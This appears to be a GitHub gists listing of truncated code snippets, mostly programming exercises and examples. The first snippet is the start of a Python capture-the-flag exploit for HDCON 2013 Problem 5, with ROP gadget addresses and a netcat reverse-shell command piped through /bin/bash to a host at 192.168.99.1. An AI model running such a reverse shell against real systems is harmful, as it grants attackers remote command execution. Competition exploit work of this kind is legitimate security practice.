This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Luckyzzang (HDCON 2013 Problem 5) | |
import socket, struct | |
p = lambda x: struct.pack('<L', x) | |
up = lambda x: struct.unpack('<L', x)[0] | |
command = 'nc 192.168.99.1 3334 | /bin/bash | nc 192.168.99.1 3333' | |
ppppr = p(0x080489cc) | |
sock_fd = p(4) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// acmicpc.net 1003 | |
#include <stdio.h> | |
int zero, one; | |
int fibonacci(int n) { | |
if (n==0) { | |
zero++; | |
return 0; | |
} else if (n==1) { | |
one++; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// lavida.us 1723 | |
#include <stdio.h> | |
unsigned long long int cache[91]; | |
unsigned long long int fibo(int n) { | |
int a; | |
if (cache[n] != 0) return cache[n]; | |
cache[n] = (n == 0 || n == 1)? n: fibo(n - 2) + fibo(n - 1); | |
return cache[n]; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <list> | |
using namespace std; | |
#define N 4 | |
int size = N; | |
bool MATRIX[N][N] = { | |
{0, 1, 1, 1}, | |
{0, 0, 1, 1}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SingleTone 1 | |
// singleton on bss | |
#include <iostream> | |
using namespace std; | |
class Cursor { | |
private: | |
// 규칙 1. private constructor | |
Cursor() { } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Crypto.Cipher import Blowfish | |
from struct import unpack | |
def once(d): | |
iv = '\x01\x02\x03\x04\x05\x06\x07\x08' | |
key, d = d[:2], d[2:] | |
name, d = d[:8], d[8:] | |
iv, name = name, Blowfish.new(key, Blowfish.MODE_CBC, iv).decrypt(name) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="utf-8" /> | |
<title>HTML5 Camera example</title> | |
</head> | |
<body> | |
<video id="video" width="640" height="480" autoplay></video> | |
<script type="text/javascript"> | |
var video = document.getElementById('video'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <winsock2.h> | |
#include <iphlpapi.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#pragma comment(lib, "IPHLPAPI.lib") | |
#define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x)) | |
#define FREE(x) HeapFree(GetProcessHeap(), 0, (x)) | |
int __cdecl main() { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* fork.c | |
* Experimental fork() on Windows. Requires NT 6 subsystem or | |
* newer. | |
* | |
* Copyright (c) 2012 William Pitcock <nenolod@dereferenced.org> | |
* | |
* Permission to use, copy, modify, and/or distribute this software for any | |
* purpose with or without fee is hereby granted, provided that the above | |
* copyright notice and this permission notice appear in all copies. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var x = 'outter'; | |
(function () { | |
var x = 'inner'; | |
alert(eval('x')); | |
})(); | |
// inner |
OlderNewer